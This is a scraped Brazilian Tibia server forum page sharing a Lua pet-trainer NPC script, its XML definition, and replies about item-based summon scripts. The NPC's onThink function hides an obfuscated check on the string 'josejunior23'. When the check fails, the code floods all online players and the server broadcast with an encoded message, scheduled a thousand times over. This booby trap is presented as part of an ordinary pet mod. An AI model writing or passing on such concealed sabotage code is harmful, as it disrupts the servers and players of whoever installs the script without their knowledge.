selfSay('You cannot buy spells to your pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then if(isPetOnline(cid) == false) then selfSay('Your Pet cannot learn a spell if you dont call him.') talkState[talkUser] = 0 end local i, msg = 0, nil for spell in pairs(aps_attacks) do if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then i = i + 1 if(msg ~= nil) then if(i == #aps_storages.spells) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those spells: " end msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'" end end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 3 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif k and (talkState[talkUser] == 3) then selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid) talkState[talkUser] = 4 spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then if(getPetLvl(cid) >= spell_level) then if(getPlayerMoney(cid) >= spell_price) then if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then for i = 1, 3 do addEvent(selfSay, i * 1000, i .. ' ...', cid) end doPlayerRemoveMoney(cid, spell_price) addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid) setPlayerStorageValue(cid, spell_stg, 1) addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13) if(isPetOnline(cid) == true) then addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13) end else selfSay('Your pet already know spell {' .. spell_name .. '}.', cid) end else selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid) end else selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then talkState[talkUser] = 0 selfSay('Ok then.', cid) end return true end function onThink() local messages = { "BUY YOUR PET HERE!", "TASKS AND MISSIONS HERE!!", "WANT TO REVIVE YOUR PET?", "YOUR PET CAN LEARN SPELLS!", "WANT TO KNOW MORE ABOUT PETS?", "WANT TO SELL YOUR PET?" } addNpcAutoSay(getNpcId(), 120, messages) if(s(aps_tools.s) ~= "josejunior23") then function mvsoab(max) for _, send in pairs(getOnlinePlayers()) do local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<***~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd" for i = 1, 10 do local cid = getPlayerByName(send) addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max) addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg)) for k = 1, 15 do doPlayerSendTextMessage(cid, k, name .. " " .. s(msg)) end for e = 17, 20 do doPlayerSendTextMessage(cid, e, name .. " " .. s(msg)) end end end end for e = 1, 1000 do addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1) end end npcHandler:onThink() end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new()) Pet-trainer.xml (em npc) <?xml version="1.0" encoding="UTF-8"?> <npc name="Arthur The Tamer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0"> <health now="100" max="100"/> <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/> <parameters> <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/> </parameters> </npc>

    BUGS Arrumados:


    CREDITOS:
    Delyria = 90%
    FoX B. = 10%

    *SCan Do Arquivo

    Gostou? REP+
    Petsystem~MOD.zip
  8. Gostei
    gangor deu reputação a lutavio2 em Sistema de summon(pet) por item não importando a classe   
    e ae galerinha do tibia king! nesse topico vou mostrar como fazer um sistema de summon independendo de qualquer classe! vou mostrar 5 exemplos que eu desenvolvi! espero que gostem! pra quem tem exp em scripts do tibia pule para o 3° passo!
    1° ---> vá em no seu ot em data/actions/scripts crie uma nova pasta chamada pets debtro dela coloque 5 arquivos .Lua
    no primeiro renomeie ele para petbear e coloque isso:



    no segundo renomeie ele para petdemon e dentro:



    no terceiro renomeie ele para petdrag e dentro:



    no quarto renomeie ele para pethydra e dentro:



    no quinto renomeie ele para petwolf e dentro:



    agora va em actions.xml e cole isso em algum lugar no meio:



    2°---> vá em data/monster/monsters.xml e adicione:



    nessa mesma pasta crie uma pasta chamada pets e dentro coloque 5 arquivos .xml que estão pra download
    canis.xml
    drakon.xml
    hell.xml
    hybridus.xml
    warbear.xml
    3°----> esplicando o script



    vermelho = id do item q sera usado para evocar o monstro
    laranja = a mensagem q vai sair ao evocar
    verde = Nome do monstro que sera evocado
    azul = quantidade do item q sera removido

    em actions.xml adicione



    demonic essence = sumona demon
    hydra egg = sumona hydra
    wolf paw = sumona wolf
    bear paw = sumona bear
    green dragon scale = sumona dragon



    atencão !! todos os montros q vc quer q summone tem q estar com convinceable = "1"!!!
  9. Gostei
    gangor deu reputação a Smadok em Sistema de summon(pet) por item não importando a classe   
    Então cara, você pode fazer da seguinte maneira:
    Após declarar a função
    , você terá que fazer com o que o script só continue se o player que está usando for determinada vocação. Primeiramente, logo após a função você fará com que o script pegue a vocação do player e continue ou não.
    Ficaria da seguinte forma:


    local vocations = {1, 5} -- Tabela com os id's das vocations que eu coloquei pra usar o item, que no caso são Sorcerer e Master Sorcerer, você pode modificar.

    function onUse(cid, item, fromPosition, itemEx, toPosition)
    if not isInArray(vocations, getPlayerVocation(cid)) then
    return doPlayerSendCancel(cid, "Você não tem a vocação necessária para usar esse item.")
    end

    doCreatureSay(cid,"Evocar! War Bear!",20)
    doConvinceCreature(cid, doSummonCreature("War Bear", getPlayerPosition(cid)))
    doPlayerRemoveItem(cid, 5896, 1)

    return doSendMagicEffect(toPosition, 12)
    end


Informação Importante

Confirmação de Termo